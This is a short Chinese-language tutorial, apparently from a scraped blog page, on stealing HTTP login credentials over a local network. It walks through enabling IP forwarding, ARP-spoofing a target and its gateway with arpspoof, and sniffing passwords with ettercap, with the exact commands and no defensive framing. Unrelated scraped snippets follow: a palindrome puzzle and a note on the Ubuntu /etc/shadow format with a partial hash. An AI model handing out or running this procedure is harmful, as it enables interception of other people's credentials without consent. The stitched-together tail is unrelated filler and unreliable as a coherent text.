http賬戶密碼的擷取

首先，http的前提也是基於

arp欺騙的，當

arp欺騙成功後，方可進行。

具體步驟如下：

1.開啟終端，先進行流量的**：echo  1  >/proc/sys/net/ipv4/ip_forward,而echo這個命令是不會有回顯的。所以，我們要用

cat命令檢視上個路徑檔案。

cat  /proc/sys/net/ipv4/ip_forward,回顯為1則說明命令執行成功。

2.接下來進行arp欺騙：

arpspoof –i 網絡卡 –t 目標

ip 目標閘道器

3.接下來用ettercap進行流量嗅探，對賬戶密碼進行捕捉。

4.開啟終端

輸入：ettercap  –tq   -i 網絡卡

5.成功之後，當目標主機進行http賬戶密碼的登入時  我們的終端就會對其進行賬戶密碼的獲取。

注：ettercap是

linux

下乙個強大的欺騙工具，當然

windows

也能用，你能夠用飛一般的速度建立和傳送偽造的包

.讓你傳送從網路適配 器到應用軟體各種級別的包

.繫結監聽資料到乙個本地埠：從乙個客戶端連線到這個埠並且能夠為不知道的協議解碼或者把資料插進去

(只有在

arp為基礎模式裡才能用)

而上面我們用到的-t  表示啟動文字模式 –q 表示安靜模式。

http賬戶密碼的擷取

首先，http的前提也是基於 arp欺騙的，當 arp欺騙成功後，方可進行。具體步驟如下 1.開啟終端，先進行流量的 echo 1 proc sys net ipv4 ip forward,而echo這個命令是不會有回顯的。所以，我們要用 cat命令檢視上個路徑檔案。cat proc sys net...

中級 密碼擷取

題目 catcher是mca國的情報員，他工作時發現敵國會用一些對稱的密碼進行通訊，比如像這些abba，aba，a，123321，但是他們有時會在開始或結束時加入一些無關的字元以防止別國破解。比如進行下列變化 abba 12abba,aba abakk,123321 51233214 因為截獲的串太...

ubuntu的賬戶密碼演算法

os ubuntu 11.04 compiler gcc 4.5.2 在 etc shadow裡，存放著系統賬戶密碼的相關資訊，檔案格式如下 6 ehgch6yt e.xzfji5ny6kt86cmjk.1e6mbwuw2drlvbmyarns7 8hteu2cmzsrmqaghpxicol1cqu...